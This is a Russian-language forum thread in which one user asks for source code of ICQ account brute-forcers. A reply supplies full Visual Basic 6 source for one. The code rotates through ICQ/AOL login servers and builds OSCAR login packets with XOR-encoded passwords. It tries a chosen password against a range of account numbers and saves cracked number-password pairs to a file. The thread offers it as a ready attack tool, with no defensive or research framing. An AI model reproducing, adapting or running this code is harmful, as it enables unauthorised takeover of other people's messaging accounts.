Интересно было бы посмотреть исходники брутов для асек, желательно делфи и висуал байсик ПХП не предлагать ---------------------------------------------------------------- Админы сорри если надо было писать в раздел программирование, но мне кажется здесь мне ответят быстрее... Спасибо за понимание, жду ответа! ! !
На VB PHP: Option Explicit 'отключаем автодекларацию переменных Const BRUTE_INTERVAL = 2000 'таймаут между попытками перебора пароля в мс Const ICQ_PORT = 5190 'icq порт Const SRV_COUNT = 6 'Количество ICQ серверов Dim Icq_SRV(1 To SRV_COUNT) As String 'Массив ICQ серверов Dim Current_SRV As Byte 'Хранит номер текущего ICQ сервера из массива ICQ_SRV Dim good, bad As Long 'Удалос подобрать/неудалос подобрать пасс ' // это для работы сборщика пакетов // Dim cli As Boolean 'Флаг, буыер сборки пуст-false,буфер заполняется-true Dim Flen, Mlen As Long 'Длина буфера/сколько уже собрано Dim MainBuff As String 'Сам буфер Private Sub Form_Load() 'загрузка формы Dim buff As String 'Буфер для чтения файла Timer.Enabled = False 'отключаем таймер Timer.Interval = BRUTE_INTERVAL 'задаём интервал таймера Command1.Enabled = True 'Включаем кнопочку Стоп Command2.Enabled = False 'Выключаем кнопочку Старт 'Загрузим сохранённые настройкм If Dir(App.Path & "\settings.txt") <> "" Then 'Если файл с настройками есть Open App.Path & "\settings.txt" For Input As #1 'Открываем его Line Input #1, buff 'Читаем строку Text2 = buff 'Пишем в TextBox её содержимое Line Input #1, buff 'Читаем строку Text3 = buff 'Пишем в TextBox её содержимое Line Input #1, buff 'Читаем строку Text4 = buff 'Пишем в TextBox её содержимое Close #1 'Закрываем файл End If 'Конец условия ' // заполним массив ICQ серверов // Icq_SRV(1) = "login.icq.com" Icq_SRV(2) = "login.oscar.aol.com" Icq_SRV(3) = "ibucp-vip-d.blue.aol.com" Icq_SRV(4) = "ibucp-vip-m.blue.aol.com" Icq_SRV(5) = "bucp2-vip-m.blue.aol.com" Icq_SRV(6) = "bucp-m08.blue.aol.com" Current_SRV = 1 'Установим номер текущего сервера - 1 good = 0 'Обнулим счётчик GOOD-UIN'ов bad = 0 'Обнулим счётчик BAD-UIN'ов End Sub Private Sub Command1_Click() 'Кнопка Старт If Val(Text2) >= Val(Text3) Then Exit Sub 'Если ОТ меньше чем ДО то едем далее Command1.Enabled = False 'вырубаем кнопку старт Command2.Enabled = True 'Врубаем кнопку стоп Open App.Path & "\good.txt" For Append As #1 'открываем файл №1 для записи туда good Open App.Path & "\bad.txt" For Append As #2 'открываем файл №2 для записи туда bad Timer.Enabled = True 'Включаем таймер End Sub Private Sub Timer_Timer() 'Таймерчег socket.CloseConnection 'закрываем соединение socket.Connect Icq_SRV(Current_SRV), ICQ_PORT 'коннектимся к Autorization-server Current_SRV = Current_SRV + 1 'меняем сервер If Current_SRV = SRV_COUNT + 1 Then Current_SRV = 1 'проверим, ес сервера закончилис, то по новой End Sub Private Sub Command2_Click() 'кнопка Стоп Timer.Enabled = False 'Вырубаем таймер Text1 = "" 'Чистим Text1 good = 0 'обнуляем гуд bad = 0 'обнуляем бад Close #1 'закрываем файл с гуд Close #2 'закрываем файл с бад Command1.Enabled = True 'врубаем кнопку старт Command2.Enabled = False 'вырубаем кнопку стоп End Sub Private Sub socket_DataArrival(data As String) 'Если к нам пришли данные If cli = False Then 'Если буфер пуст Flen = GetFlapLen(data) 'определим длину флэпа Mlen = Flen + 6 'добавляем к длине длину 6-байтового заголовка флэпа cli = True 'включаем сбор пакетов MainBuff = data 'записываем первую порцию байт в буфер Else 'если сбор включен MainBuff = MainBuff + data 'добавим пакет к буферу Mlen = Mlen + Len(data) 'увеличим длину собранного End If 'проверим, не пора ли прекратить сбор пакетов If Mlen = Flen + 6 Then 'Если принято столько сколько должно быть(весь флэп-пакет) cli = False 'выключаем сборщег Flen = 0 'обнуляем счётчег длины Do 'прочекаем принятое на предмет флэпов (их там многа может быть) Flen = GetFlapLen(MainBuff) + 6 'смотрим длину FLAPPER (Mid$(MainBuff, 1, Flen)) 'отправляем флэп во флаппер(процедура обработки) MainBuff = Mid$(MainBuff, Flen + 1, Len(MainBuff) - Flen) 'отсекаем от буфера отправленный косочег Loop Until Len(MainBuff) = 0 'делаем пока буфер не опустошим MainBuff = "" ' на всёкий случай xD End If End Sub Private Sub FLAPPER(fData As String) 'Обработчег FLAP-пакетов Dim snac, pack, UIN, PASS As String 'строковые переменные If GetByte(fData, 2) = 1 Then 'если канал первый fData = GetFlapData(fData) 'Получаем содержимое флэпа If str2hex(fData) = "00000001" Then 'если пришол hello-пакет PASS = Text4 'Запоминаем текущий PASS UIN = Text2 'Запоминаем текущий UIN snac = hex2str("00000001") 'Формируем SNAC логина snac = snac + hex2str("000100") + Chr(Len(UIN)) + UIN 'TLV01 snac = snac + hex2str("000200") + Chr(Len(CalcPass(PASS))) + CalcPass(PASS) 'TLV02 snac = snac + hex2str("0003008") & "ICQbasic" 'клиент snac = snac + hex2str("00160002010A") '16й TLV snac = snac + hex2str("001700020018") 'нижняя граница версии протокола snac = snac + hex2str("001800020025") 'верхняя граница версии протокола snac = snac + hex2str("001900020001") ' snac = snac + hex2str("001A00020E90") ' snac = snac + hex2str("0014000400000055") ' snac = snac + hex2str("000F0002656E") 'язык (EN) snac = snac + hex2str("000E00027573") 'местонахождение(US) pack = hex2str("2A01") + Word2Str(Rnd * 32767) + Word2Str(Len(snac)) + snac 'формируем FLAP логина socket.SendData (pack) 'Отсылаем FLAP логина End If End If If GetByte(fData, 2) = 4 Then 'Если канал чётвёртый fData = GetFlapData(fData) 'Получаем содержимое флэпа If GetByte(fData, 2) = &H8E Then 'Ес удачно подобради good = good + 1 'добавляем good Print #1, Text2 & ";" & Text4 'пишкм в good.txt этот uin;pass incUIN 'ставим в текствокс следующий нумер End If If GetByte(fData, 2) = 1 Then 'Если серв постал нас с таким uin;pass bad = bad + 1 'Прибавляем bad Print #2, Text2 & ";" & Text4 'пишем в bad.txt этот uin;pass incUIN 'ставим в текстбокс следующий нум End If End If 'Пишем статистику в Text1 Text1 = "Server: " & Icq_SRV(Current_SRV) & vbCrLf & _ "good: " & good & vbCrLf & _ "bad: " & bad End Sub Private Sub incUIN() 'увеличивает UIN на 1 Text2 = Val(Text2) + 1 If Text2 = Text3 Then 'если пора остановится Command2_Click 'Эмулируем нажатие на стоп MsgBox "Брут закончен. Удалось подобрать " & good & " номеров." 'Сообщение End If End Sub Private Sub Command3_Click() 'Кнопка Exit Form_Unload (0) 'Эмулируем закрытие End Sub Private Sub Form_Unload(Cancel As Integer) 'Закрытие Command2_Click 'эмулируем нажатие на Стоп Open App.Path & "\settings.txt" For Output As #1 'Пишем настройки в файл settings.txt Print #1, Text2 Print #1, Text3 Print #1, Text4 Close #1 End 'Закрываемся End Sub '--------------------- вспомогательные функции --------------- Private Function hex2str(ByVal data As String) As String 'Переводит набор типа "00FF3E" в строку Dim i As Integer For i = 1 To Len(data) Step 2 hex2str = hex2str & Chr(Val("&H" + Mid$(data, i, 2))) Next i End Function Private Function str2hex(ByVal Txt As String) As String 'Переводит байты строки в набор типа "АА3А00" Dim i As Integer Dim buff As String For i = 1 To Len(Txt) buff = Hex(GetByte(Txt, i)) If Len(buff) = 1 Then buff = "0" & buff str2hex = str2hex & buff Next i End Function Private Function GetFlapLen(flapdata As String) As Long 'Возвращает длину FLAP-пакета Dim HexBuff As String Dim byte1 As String * 2 Dim byte2 As String * 2 If GetByte(flapdata, 5) <> 0 Then byte1 = Hex(GetByte(flapdata, 5)) Else byte1 = "00" If GetByte(flapdata, 6) <> 0 Then byte2 = Hex(GetByte(flapdata, 6)) Else byte2 = "00" HexBuff = "&H" & byte1 & byte2 GetFlapLen = Val(HexBuff) End Function Private Function GetByte(Txt As String, num As Integer) As Byte 'возвращает значение какого-либа байта какой-либо строки GetByte = Asc(Mid$(Txt, num, 1)) End Function Private Function GetFlapData(flapdata As String) As String 'Возврящает содержимое FLAP-пакета (отрезает заголовок) GetFlapData = Mid$(flapdata, 7, Len(flapdata) - 6) End Function Private Function CalcPass(ByVal PASS As String) As String 'Делает XOR - пароль Dim passarr(1 To 16) As Byte Dim i As Byte passarr(1) = &HF3 passarr(2) = &H26 passarr(3) = &H81 passarr(4) = &HC4 passarr(5) = &H39 passarr(6) = &H86 passarr(7) = &HDB passarr(8) = &H92 passarr(9) = &H71 passarr(10) = &HA3 passarr(11) = &HB9 passarr(12) = &HE6 passarr(13) = &H53 passarr(14) = &H7A passarr(15) = &H95 passarr(16) = &H7C CalcPass = "" For i = 1 To Len(PASS) CalcPass = CalcPass & Chr(Asc(Mid$(PASS, i, 1)) Xor passarr(i)) Next i End Function Private Function GetHEX(ByVal Txt As String) As String 'Делает из байтов строки запись вида "00 АА А3 FF" Dim i As Integer Dim buff As String For i = 1 To Len(Txt) buff = Hex(GetByte(Txt, i)) If Len(buff) = 1 Then buff = "0" & buff GetHEX = GetHEX & buff & " " Next i End Function Private Function Word2Str(data As Long) As String 'Переводит 2-байтовую переменную в запись типа "0001" Dim i As Integer Dim buff As String buff = Hex(data) If Len(buff) = 1 Then buff = "000" + buff If Len(buff) = 2 Then buff = "00" + buff If Len(buff) = 3 Then buff = "0" + buff Word2Str = Chr(Val("&H" & Mid$(buff, 1, 2))) + Chr(Val("&H" & Mid$(buff, 3, 2))) © karas
В моём предыдушем посту выложен код на VB, я не знаю почему пост отображается пустым, при нажаниее кнопки цитирования вы увидите его содержание
